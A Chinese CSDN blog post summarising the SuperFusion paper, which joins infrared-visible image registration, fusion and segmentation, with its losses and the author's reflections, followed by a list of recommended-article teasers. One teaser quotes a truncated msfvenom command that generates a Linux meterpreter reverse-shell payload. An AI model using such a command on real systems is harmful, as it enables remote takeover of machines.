SuperFusion: A Versatile Image Registration and Fusion Network with Semantic Awareness-程序员宅基地

技术标签： 机器学习  计算机视觉  人工智能  

SuperFusion

SuperFusion: A Versatile Image Registration and Fusion Network with Semantic Awareness

具有语义感知的多功能图像配准与融合网络

背景：

现有的融合仅适用于配准后的图像，输入图像发生微小偏移或形变时，融合结果会出现伪影，忽略深层语义特征。提出将配准和融合放进同一个框架
融合网络框架

贡献、总结

  1. 图像配准、图像融合和高层语义需求统一建模到一个框架中，这是第一个充分考虑图像配准的图像融合方法；

  2. 对称双向图像配准，有效地进行多模态图像对齐，对称性使融合和配准相互促进进行；

  3. 引入语义分割的约束，促使融合网络响应高层视觉任务的需求，嵌入全局空间注意力，实现自适应特征融合；

  4. 总结：三个部分组成，图像配准、融合、分割。
    首先，设计配准网络估计双向形变场，以便使用光度和端点损失来提高精度。联合配准融合方案，平衡对输入模态的偏差，在融合域中通过相似性约束进一步促进配准。Lovasz-Softmax损失，促进融合网络生成结果更合理；

实验

数据集，MSRS、RoadScene与DASC、RIFT、GLU-Net、UMF-CMGR、Cross RAFT进行配准对比。
合成未配准影像
1.对红外图像合成随机仿射、弹性变换
2.对可见光图像合成随机仿射、弹性变换 合成未配准的影像
对于图像融合：MI，VIF，SSIM，FMI,Qabf，（评价指标）
分割实验，采用SeAFusion的分割模型 对多种方法得到的融合图像进行分割

配准可视化

紫色纹理为配准后红外图像的梯度，背景为对应的地面真实
配准可视化

融合可视化

融合可视化

方法：

  1. Dense Matcher用于估计形变场
  2. Fusion Network用于将配准后的图像和另一副图像融合
  3. Segmentation Network用于分割融合后的图像
  4. 进行双向配准，双向配准融合后的影像应该是一致的。Consistency Constraint双向优化配准和融合
    Iir’是合成的红外影像
    Ivi’是合成的可见光影像
    整体框架

Dense Matcher结构

输入是待配准的成对影像,第一层是共享的CNN，2、3、4层是不共享的CNN，多尺度的特征图可以学到不同大小的形变。Flow Esimator是粗略的光流估计器
DenseMatcher

融合网络

采用双编码器提取特征，使用全局注意力机制，让特征自适应融合。
GSAM是个全局注意力机制，用四方向的RNN得到上下文特征
Fusion Network

分割网络

分割网络是这篇论文作者的另一篇论文SeAFusion的分割部分

损失函数

  1. 配准损失
    请添加图片描述
    L1损失函数，光度损失，配准后Ireg应该与原始I一致
    在这里插入图片描述
    端点损失，L2损失可以放大两者之间的差异，应用于两者之间的差异很小的情况
    在这里插入图片描述
    一致性损失，红外配准到光学的f1，应该和光学配准到红外的f2一致
    在这里插入图片描述
  2. 融合损失
    在这里插入图片描述
    结构损失，指导融合网络保留结构信息
    在这里插入图片描述
    纹理损失，融合图像的梯度与源图像最大梯度聚合之间的误差，倒三角是Sobel gradient operator
    在这里插入图片描述
    融合强度信息，保留显著特征。设计了一个强度最大化损失LInt来指导融合网络自适应地融合源图像的强度信息（看着比较显著的信息）
    在这里插入图片描述
    融合损失=纹理+结构+强度
  3. 分割损失
    在这里插入图片描述
    IoU损失的差分替代Lovasz - Softmax损失
    在这里插入图片描述
    分割损失，seg1和GT，seg2和GT
  4. 总损失
    在这里插入图片描述
    总损失=配准+融合+分割，共同优化

Thinking

双向配准以及一致性损失的利用，对配准和融合都有很好的效果。如果融合的目的是用于分割，增加用于分割的语义约束，可以生成更有利于分割的融合效果

L1损失函数和L2损失函数的用处：
任务中预测值与真实值差异不大的时候用L2来放大差异
由于L1 梯度在极值点会发生跃变，并且很小的差异也会带来很大的梯度，不利于学习，在使用L1时通常会设定学习率衰减策略
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42489272/article/details/134123515

智能推荐

两种内存池管理方法对比_非固定大小的内存池-程序员宅基地

文章浏览阅读1.9k次，点赞4次，收藏11次。目录一、问题背景二、两种内存池管理2.1 固定大小内存块分配（参考正点原子STM32F4 malloc.c）2.1.1 初始化2.1.3释放原理2.2 可变大小内存块分配（参考WSF BLE协议栈buffer management）2.2.1 初始化2.2.2 分配原理2.2.3 释放原理三、总结和对比一、问题背景最近在调试ambiq apollo..._非固定大小的内存池

MPEG TS流简介-程序员宅基地

文章浏览阅读3.1k次。TS简介MPEG-TS（Transport stream）即Mpeg传输流定义于ITU-T Rec. H.222.0和ISO 13818-1标准中，属于MPEG2的系统层。MPEG2-TS面向的传输介质是网络和卫星等可靠性较低的传输介质，这一点与面向较可靠介质如DVD等的MPEG PS不同。1. TS数据包TS流由TS数据包即Transport stream packet组成。TS p...

Deepin wine QQ/微信中文显示为方块的原因之一_wine 字体方块-程序员宅基地

文章浏览阅读984次。问题原因：目录下~/.deepinwine，查找乱码的应用Deepin-QQ、Deepin-WeChat，相同路径/drive_c/windows/Fonts下查看是否有字体，笔者发现没有任何字体，这就是原因所致，wine程序会在此处寻找字体，而不能直接利用linux系统的字体解决方法：把/usr/share/fonts/Fonts_Win下字体复制到这里，使wine应用程序能找到至少一种fallback字体,也可以在别的地方的fonts问价夹下，拷贝.ttf字体文件到这里..._wine 字体方块

整个元素周期表通用，AI 即时预测材料结构与特性-程序员宅基地

文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而，现有的获得这种排列的方法要么过于昂贵，要么对许多元素无效。现在，加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法，可以几乎即时地预测任何材料（无论是现有材料还是新材料）的结构和动态特性。该算法被称为 M3GNet，用于开发 matterverse.ai 数据库，该数据库包含超过 3100 万种尚未合成的材料，其特性由机器学习算法预测。M..._人工智能预测材料属性

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次，点赞2次，收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多，下面记录一下基础的命令，为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动，CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像：nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次，点赞6次，收藏9次。你看你以为黑客有多牛呢，都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

随便推点

Ambari 2.7.3.0 安装部署 hadoop 3.1.0.0 集群视频完整版_ambari2.7.3 hadoop 部署-程序员宅基地

文章浏览阅读1.5k次。一、前言很多小伙伴也都知道，最近一直在做 Ambari 集成自定义服务的教学笔记和视频。之前在准备 Ambari 环境的时候，考虑到有朋友会在 Ambari 安装部署时遇到问题，所以贴心的我呢，就在搭建 Ambari 环境的时候，把这个视频录制好了，总共时长共 87 分钟，将近1个半小时，附带移除 SmartSense 服务及 FAQ 。也提前介绍一下搭建好的 Ambari 相关版本信息：..._ambari2.7.3 hadoop 部署

使用R语言保存CSV文件_r软件保存为csv文件-程序员宅基地

文章浏览阅读881次。本文介绍了如何使用R语言保存CSV文件。我们使用write.csv函数将数据框保存为CSV格式。您只需提供要保存的数据对象和文件路径，即可轻松创建CSV文件。CSV文件是一种通用的数据交换格式，在数据分析和数据处理中广泛使用。希望本文对您有所帮助，祝您在R语言中保存CSV文件时顺利进行数据处理和分析！_r软件保存为csv文件

VR技术赋能数字经济发展新机遇，加快构建双循环新发展格局_vr商城建设对区域经济-程序员宅基地

文章浏览阅读498次。当下，数字化浪潮正重塑世界经济发展格局，数字经济正在成为全球经济可持续增长新引擎。我国超大规模的市场经济优势为数字经济发展提供了广阔而丰富的应用场景，也成为推动传统产业升级改造、加快”构建国内国际双循环相互促进的新发展格局“的重要引擎。据国家统计局数据显示：2020年第一季度，我国GDP呈现出6.8%的负增长态势。今年1月份至5月份，与互联网相关的新业态、新模式却继续保持逆势增长。全国实物商品网上零售额同比增长11.5%；实物商品网上零售额占社会消费品零售总额比重为24.3%，比去年同期提高5.4个百分点_vr商城建设对区域经济

HCS12X–数据定义(如何在CodeWarrior中将数据定义到分页区)_codewarrior数组如何定义-程序员宅基地

文章浏览阅读384次。由于在暑假匆忙接收的嵌入式项目中需要使用特别大的数组，非分页RAM的内存不够用了，没办法，硬着头皮尝试使用分页RAM，但是完全没有单片机的基础，导致极其的困难。之前写程序都是按照纯软件的思维，主要考虑架构，不会考虑到每个变量具体存在哪个物理地址这么底层的问题，结果被飞思卡尔这分页地址、prm文件什么的搞得一头雾水，而网上的资料又少，讲的又大同小异的笼统，最后写出来的程序因为这分页地址的原因存在各种_codewarrior数组如何定义

wed服务器简介_wed服务器的主要特点之一就是它具有十几个html文件连接到另一个html文件的能力称为-程序员宅基地

摘要：Web服务器是用于提供Web服务的软件，它通过HTTP协议来传输和接收网页和其他资源。在Inteet上，HTTP通信通常在TCP/IP连接上进行，使用端口号80。Apache是一种常见的Web服务器软件，其主程序为httpd，根目录为/var/www/html。

Python调用C++举例_cmake编译 python调用c++ so文件-程序员宅基地

文章浏览阅读435次。使用ctypes模块直接加载so函数为：ctypes.cdll.LoadLibrary("so文件路径")_cmake编译 python调用c++ so文件

推荐文章

热门文章

相关标签